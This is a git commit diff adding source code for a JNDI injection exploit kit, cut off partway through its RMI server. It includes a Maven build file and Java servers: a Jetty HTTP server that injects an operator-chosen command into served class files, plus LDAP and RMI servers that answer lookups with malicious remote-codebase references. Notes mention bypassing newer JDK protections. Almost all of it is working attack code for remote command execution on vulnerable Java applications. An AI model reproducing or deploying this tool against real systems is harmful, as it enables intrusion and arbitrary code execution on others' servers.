commit codes
This commit is contained in:
143
pom.xml
Normal file
143
pom.xml
Normal file
@@ -0,0 +1,143 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>welk1n</groupId>
|
||||||
|
<artifactId>JNDI-Injection-Exploit</artifactId>
|
||||||
|
<version>1.0-SNAPSHOT</version>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
<jetty.version>8.1.9.v20130131</jetty.version>
|
||||||
|
<compiler.version>1.8</compiler.version>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<!-- Util -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.ow2.asm</groupId>
|
||||||
|
<artifactId>asm</artifactId>
|
||||||
|
<version>7.1</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.javassist</groupId>
|
||||||
|
<artifactId>javassist</artifactId>
|
||||||
|
<version>3.19.0-GA</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.reflections</groupId>
|
||||||
|
<artifactId>reflections</artifactId>
|
||||||
|
<version>0.9.9</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.slf4j</groupId>
|
||||||
|
<artifactId>slf4j-nop</artifactId>
|
||||||
|
<version>1.7.24</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.commons</groupId>
|
||||||
|
<artifactId>commons-lang3</artifactId>
|
||||||
|
<version>3.4</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>commons-cli</groupId>
|
||||||
|
<artifactId>commons-cli</artifactId>
|
||||||
|
<version>1.3</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
|
||||||
|
<!-- For LDAP reference jndi -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.unboundid</groupId>
|
||||||
|
<artifactId>unboundid-ldapsdk</artifactId>
|
||||||
|
<version>3.1.1</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<!-- Jetty -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.eclipse.jetty.aggregate</groupId>
|
||||||
|
<artifactId>jetty-webapp</artifactId>
|
||||||
|
<version>${jetty.version}</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
<!-- Bypass JDK 1.8.0_191+ -->
|
||||||
|
<!-- <dependency>-->
|
||||||
|
<!-- <groupId>org.springframework.boot</groupId>-->
|
||||||
|
<!-- <artifactId>spring-boot-starter-web</artifactId>-->
|
||||||
|
<!-- <version>2.1.1.RELEASE</version>-->
|
||||||
|
<!-- </dependency>-->
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.tomcat</groupId>
|
||||||
|
<artifactId>tomcat-catalina</artifactId>
|
||||||
|
<version>8.5.38</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.tomcat</groupId>
|
||||||
|
<artifactId>tomcat-jasper-el</artifactId>
|
||||||
|
<version>8.5.38</version>
|
||||||
|
</dependency>
|
||||||
|
<!-- <dependency>-->
|
||||||
|
<!-- <groupId>org.codehaus.groovy</groupId>-->
|
||||||
|
<!-- <artifactId>groovy</artifactId>-->
|
||||||
|
<!-- <version>2.4.5</version>-->
|
||||||
|
<!-- </dependency>-->
|
||||||
|
|
||||||
|
<!-- test -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>junit</groupId>
|
||||||
|
<artifactId>junit</artifactId>
|
||||||
|
<version>4.12</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<configuration>
|
||||||
|
<source>${compiler.version}</source>
|
||||||
|
<target>${compiler.version}</target>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
|
||||||
|
<plugin>
|
||||||
|
<artifactId>maven-assembly-plugin</artifactId>
|
||||||
|
<version>2.5.5</version>
|
||||||
|
<configuration>
|
||||||
|
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
||||||
|
<appendAssemblyId>false</appendAssemblyId>
|
||||||
|
<descriptorRefs>
|
||||||
|
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||||
|
</descriptorRefs>
|
||||||
|
<archive>
|
||||||
|
<manifest>
|
||||||
|
<mainClass>run.ServerStart</mainClass>
|
||||||
|
</manifest>
|
||||||
|
</archive>
|
||||||
|
</configuration>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<id>make-assembly</id>
|
||||||
|
<phase>package</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>single</goal>
|
||||||
|
</goals>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
|
||||||
|
</project>
|
||||||
BIN
src/.DS_Store
vendored
Normal file
BIN
src/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
src/main/.DS_Store
vendored
Normal file
BIN
src/main/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
src/main/java/.DS_Store
vendored
Normal file
BIN
src/main/java/.DS_Store
vendored
Normal file
Binary file not shown.
113
src/main/java/jetty/JettyServer.java
Normal file
113
src/main/java/jetty/JettyServer.java
Normal file
@@ -0,0 +1,113 @@
|
|||||||
|
package jetty;
|
||||||
|
|
||||||
|
import org.eclipse.jetty.server.Server;
|
||||||
|
import org.eclipse.jetty.servlet.ServletHandler;
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.URLEncoder;
|
||||||
|
|
||||||
|
import static run.ServerStart.getLocalTime;
|
||||||
|
import static util.Transformers.insertCommand;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @Classname JettyServer
|
||||||
|
* @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec()
|
||||||
|
* @Author welkin
|
||||||
|
*/
|
||||||
|
public class JettyServer implements Runnable{
|
||||||
|
private int port;
|
||||||
|
private Server server;
|
||||||
|
private static String command;
|
||||||
|
|
||||||
|
// public JettyServer(int port) {
|
||||||
|
// this.port = port;
|
||||||
|
// server = new Server(port);
|
||||||
|
// command = "open /Applications/Calculator.app";
|
||||||
|
// }
|
||||||
|
|
||||||
|
public JettyServer(int port,String cmd) {
|
||||||
|
this.port = port;
|
||||||
|
server = new Server(port);
|
||||||
|
command = cmd;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
ServletHandler handler = new ServletHandler();
|
||||||
|
server.setHandler(handler);
|
||||||
|
|
||||||
|
handler.addServletWithMapping(DownloadServlet.class, "/*");
|
||||||
|
try {
|
||||||
|
server.start();
|
||||||
|
server.join();
|
||||||
|
}catch (Exception e){
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("serial")
|
||||||
|
public static class DownloadServlet extends HttpServlet {
|
||||||
|
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
|
||||||
|
|
||||||
|
String filename = request.getRequestURI().substring(1);
|
||||||
|
InputStream in = checkFilename(filename);
|
||||||
|
byte[] transformed;
|
||||||
|
ByteArrayInputStream bain = null;
|
||||||
|
|
||||||
|
if (in != null) {
|
||||||
|
try {
|
||||||
|
transformed = insertCommand(in,command);
|
||||||
|
bain = new ByteArrayInputStream(transformed);
|
||||||
|
|
||||||
|
}catch (Exception e){
|
||||||
|
e.printStackTrace();
|
||||||
|
System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed.");
|
||||||
|
}
|
||||||
|
|
||||||
|
System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL());
|
||||||
|
response.setStatus(HttpServletResponse.SC_OK);
|
||||||
|
response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8"));
|
||||||
|
|
||||||
|
int len ;
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
OutputStream out = response.getOutputStream();
|
||||||
|
if (bain != null){
|
||||||
|
while ((len = bain.read(buffer)) > 0) {
|
||||||
|
out.write(buffer,0,len);
|
||||||
|
}
|
||||||
|
bain.close();
|
||||||
|
}else {
|
||||||
|
System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!");
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
|
||||||
|
doGet(request, response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static InputStream checkFilename(String filename){
|
||||||
|
String template;
|
||||||
|
switch (filename){
|
||||||
|
case "ExecTemplateJDK7.class":
|
||||||
|
template = "template/ExecTemplateJDK7.class";
|
||||||
|
break;
|
||||||
|
case "ExecTemplateJDK8.class":
|
||||||
|
template = "template/ExecTemplateJDK8.class";
|
||||||
|
break;
|
||||||
|
// TODO:Add more
|
||||||
|
default:
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return Thread.currentThread().getContextClassLoader().getResourceAsStream(template);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
153
src/main/java/jndi/LDAPRefServer.java
Normal file
153
src/main/java/jndi/LDAPRefServer.java
Normal file
@@ -0,0 +1,153 @@
|
|||||||
|
/* MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2017 Moritz Bechler
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
*/
|
||||||
|
package jndi;
|
||||||
|
|
||||||
|
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URL;
|
||||||
|
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
import javax.net.SocketFactory;
|
||||||
|
import javax.net.ssl.SSLSocketFactory;
|
||||||
|
|
||||||
|
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||||
|
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||||
|
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||||
|
import com.unboundid.ldap.sdk.*;
|
||||||
|
import util.Mapper;
|
||||||
|
|
||||||
|
import static run.ServerStart.getLocalTime;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* LDAP jndi implementation returning JNDI references
|
||||||
|
*
|
||||||
|
* @author mbechler welkin
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class LDAPRefServer implements Runnable{
|
||||||
|
|
||||||
|
private static final String LDAP_BASE = "dc=example,dc=com";
|
||||||
|
private int port;
|
||||||
|
private URL codebase_url;
|
||||||
|
|
||||||
|
public LDAPRefServer(int port, URL codebase_url) {
|
||||||
|
this.port = port;
|
||||||
|
this.codebase_url = codebase_url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run () {
|
||||||
|
// int port = 1389;
|
||||||
|
|
||||||
|
// try {
|
||||||
|
// Class.forName("util.Mapper");
|
||||||
|
// }catch (ClassNotFoundException e){
|
||||||
|
// e.printStackTrace();
|
||||||
|
// }
|
||||||
|
|
||||||
|
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
|
||||||
|
// System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
|
||||||
|
// System.exit(-1);
|
||||||
|
// }
|
||||||
|
// else if ( args.length > 1 ) {
|
||||||
|
// port = Integer.parseInt(args[ 1 ]);
|
||||||
|
// }
|
||||||
|
|
||||||
|
try {
|
||||||
|
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
|
||||||
|
config.setListenerConfigs(new InMemoryListenerConfig(
|
||||||
|
"listen", //$NON-NLS-1$
|
||||||
|
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
|
||||||
|
port,
|
||||||
|
ServerSocketFactory.getDefault(),
|
||||||
|
SocketFactory.getDefault(),
|
||||||
|
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||||
|
|
||||||
|
config.addInMemoryOperationInterceptor(new OperationInterceptor(this.codebase_url));
|
||||||
|
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
|
||||||
|
System.out.println(getLocalTime() + " [LDAPSERVER] >> Listening on 0.0.0.0:" + port); //$NON-NLS-1$
|
||||||
|
ds.startListening();
|
||||||
|
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class OperationInterceptor extends InMemoryOperationInterceptor {
|
||||||
|
|
||||||
|
private URL codebase;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public OperationInterceptor ( URL cb ) {
|
||||||
|
this.codebase = cb;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
|
||||||
|
String base = result.getRequest().getBaseDN();
|
||||||
|
Entry e = new Entry(base);
|
||||||
|
try {
|
||||||
|
sendResult(result, base, e);
|
||||||
|
}
|
||||||
|
catch ( Exception e1 ) {
|
||||||
|
e1.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
|
||||||
|
|
||||||
|
String cbstring = this.codebase.toString();
|
||||||
|
String javaFactory = Mapper.references.get(base);
|
||||||
|
|
||||||
|
if (javaFactory != null){
|
||||||
|
URL turl = new URL(cbstring + javaFactory.concat(".class"));
|
||||||
|
System.out.println(getLocalTime() + " [LDAPSERVER] >> Send LDAP reference result for " + base + " redirecting to " + turl);
|
||||||
|
e.addAttribute("javaClassName", "foo");
|
||||||
|
e.addAttribute("javaCodeBase", cbstring);
|
||||||
|
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
|
||||||
|
e.addAttribute("javaFactory", javaFactory);
|
||||||
|
result.sendSearchEntry(e);
|
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
|
}else {
|
||||||
|
System.out.println(getLocalTime() + " [LDAPSERVER] >> Reference that matches the name(" + base + ") is not found.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
463
src/main/java/jndi/RMIRefServer.java
Normal file
463
src/main/java/jndi/RMIRefServer.java
Normal file
@@ -0,0 +1,463 @@
|
|||||||
|
package jndi;
|
||||||
|
|
||||||
|
|
||||||
|
import java.io.BufferedInputStream;
|
||||||
|
import java.io.BufferedOutputStream;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.ObjectStreamClass;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.ServerSocket;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.SocketException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.rmi.MarshalException;
|
||||||
|
import java.rmi.server.ObjID;
|
||||||
|
import java.rmi.server.RemoteObject;
|
||||||
|
import java.rmi.server.UID;
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
|
||||||
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import util.Mapper;
|
||||||
|
import util.Reflections;
|
||||||
|
import sun.rmi.server.UnicastServerRef;
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
|
import static run.ServerStart.getLocalTime;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generic JRMP listener
|
||||||
|
*
|
||||||
|
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
|
||||||
|
*
|
||||||
|
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
|
||||||
|
*
|
||||||
|
* @author mbechler welkin
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"restriction"
|
||||||
|
} )
|
||||||
|
public class RMIRefServer implements Runnable {
|
||||||
|
|
||||||
|
public String command;
|
||||||
|
|
||||||
|
private int port;
|
||||||
|
private ServerSocket ss;
|
||||||
|
private Object waitLock = new Object();
|
||||||
|
private boolean exit;
|
||||||
|
private boolean hadConnection;
|
||||||
|
private URL classpathUrl;
|
||||||
|
|
||||||
|
|
||||||
|
public RMIRefServer ( int port, URL classpathUrl ) throws IOException {
|
||||||
|
this.port = port;
|
||||||
|
this.classpathUrl = classpathUrl;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public RMIRefServer ( int port, URL classpathUrl, String command) throws IOException {
|
||||||
|
this.port = port;
|
||||||
|
this.classpathUrl = classpathUrl;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||||
|
this.command = command;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean waitFor ( int i ) {
|
||||||
|
try {
|
||||||
|
if ( this.hadConnection ) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Waiting for connection");
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.wait(i);
|
||||||
|
}
|
||||||
|
return this.hadConnection;
|
||||||
|
}
|
||||||
|
catch ( InterruptedException e ) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public void close () {
|
||||||
|
this.exit = true;
|
||||||
|
try {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
catch ( IOException e ) {}
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.notify();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static final void main ( final String[] args ) {
|
||||||
|
int port = 1099;
|
||||||
|
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
|
||||||
|
// System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");
|
||||||
|
// System.exit(-1);
|
||||||
|
// return;
|
||||||
|
// }
|
||||||
|
// if ( args.length >= 2 ) {
|
||||||
|
// port = Integer.parseInt(args[ 1 ]);
|
||||||
|
// }
|
||||||
|
|
||||||
|
//trigger static code in Mapper
|
||||||
|
try {
|
||||||
|
Class.forName("util.Mapper");
|
||||||
|
}catch (ClassNotFoundException e){
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Opening JRMP listener on " + port);
|
||||||
|
RMIRefServer c = new RMIRefServer(port, new URL("http://testlocal.com:8080/"));
|
||||||
|
c.run();
|
||||||
|
} catch ( Exception e ) {
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run () {
|
||||||
|
try {
|
||||||
|
@SuppressWarnings ( "resource" )
|
||||||
|
Socket s = null;
|
||||||
|
try {
|
||||||
|
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
|
||||||
|
try {
|
||||||
|
s.setSoTimeout(5000);
|
||||||
|
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Have connection from " + remote);
|
||||||
|
|
||||||
|
InputStream is = s.getInputStream();
|
||||||
|
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||||
|
|
||||||
|
// Read magic (or HTTP wrapper)
|
||||||
|
bufIn.mark(4);
|
||||||
|
try ( DataInputStream in = new DataInputStream(bufIn) ) {
|
||||||
|
int magic = in.readInt();
|
||||||
|
|
||||||
|
short version = in.readShort();
|
||||||
|
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream sockOut = s.getOutputStream();
|
||||||
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
|
try ( DataOutputStream out = new DataOutputStream(bufOut) ) {
|
||||||
|
|
||||||
|
byte protocol = in.readByte();
|
||||||
|
switch ( protocol ) {
|
||||||
|
case TransportConstants.StreamProtocol:
|
||||||
|
out.writeByte(TransportConstants.ProtocolAck);
|
||||||
|
if ( remote.getHostName() != null ) {
|
||||||
|
out.writeUTF(remote.getHostName());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
out.writeUTF(remote.getAddress().toString());
|
||||||
|
}
|
||||||
|
out.writeInt(remote.getPort());
|
||||||
|
out.flush();
|
||||||
|
in.readUTF();
|
||||||
|
in.readInt();
|
||||||
|
case TransportConstants.SingleOpProtocol:
|
||||||
|
doMessage(s, in, out);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
case TransportConstants.MultiplexProtocol:
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Unsupported protocol");
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
bufOut.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch ( InterruptedException e ) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Closing connection");
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
if ( s != null ) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
if ( this.ss != null ) {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
catch ( SocketException e ) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Reading message...");
|
||||||
|
|
||||||
|
int op = in.read();
|
||||||
|
|
||||||
|
switch ( op ) {
|
||||||
|
case TransportConstants.Call:
|
||||||
|
// service incoming RMI call
|
||||||
|
doCall(in, out);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.Ping:
|
||||||
|
// send ack for ping
|
||||||
|
out.writeByte(TransportConstants.PingAck);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TransportConstants.DGCAck:
|
||||||
|
UID.read(in);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
throw new IOException(getLocalTime() + " [RMISERVER] >> unknown transport op " + op);
|
||||||
|
}
|
||||||
|
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
|
||||||
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
|
||||||
|
if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) {
|
||||||
|
return ObjID[].class;
|
||||||
|
}
|
||||||
|
else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) {
|
||||||
|
return ObjID.class;
|
||||||
|
}
|
||||||
|
else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) {
|
||||||
|
return UID.class;
|
||||||
|
}
|
||||||
|
else if ( "java.lang.String".equals(desc.getName()) ) {
|
||||||
|
return String.class;
|
||||||
|
}
|
||||||
|
throw new IOException(getLocalTime() + " [RMISERVER] >> Not allowed to read object");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ObjID read;
|
||||||
|
try {
|
||||||
|
read = ObjID.read(ois);
|
||||||
|
}
|
||||||
|
catch ( IOException e ) {
|
||||||
|
throw new MarshalException(getLocalTime() + " [RMISERVER] >> unable to read objID", e);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( read.hashCode() == 2 ) {
|
||||||
|
// DGC
|
||||||
|
handleDGC(ois);
|
||||||
|
}
|
||||||
|
else if ( read.hashCode() == 0 ) {
|
||||||
|
if ( handleRMI(ois, out) ) {
|
||||||
|
this.hadConnection = true;
|
||||||
|
synchronized ( this.waitLock ) {
|
||||||
|
this.waitLock.notifyAll();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param ois
|
||||||
|
* @param out
|
||||||
|
* @throws IOException
|
||||||
|
* @throws ClassNotFoundException
|
||||||
|
// * @throws NamingException
|
||||||
|
*/
|
||||||
|
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
|
||||||
|
int method = ois.readInt(); // method
|
||||||
|
ois.readLong(); // hash
|
||||||
|
|
||||||
|
if ( method != 2 ) { // lookup
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
String object = (String) ois.readObject();
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
|
||||||
|
|
||||||
|
String cpstring = this.classpathUrl.toString();
|
||||||
|
String reference = Mapper.references.get(object);
|
||||||
|
|
||||||
|
if (reference == null) {
|
||||||
|
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
URL turl = new URL(cpstring + "#" + reference);
|
||||||
|
out.writeByte(TransportConstants.Return);// transport op
|
||||||
|
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
|
||||||
|
|
||||||
|
oos.writeByte(TransportConstants.NormalReturn);
|
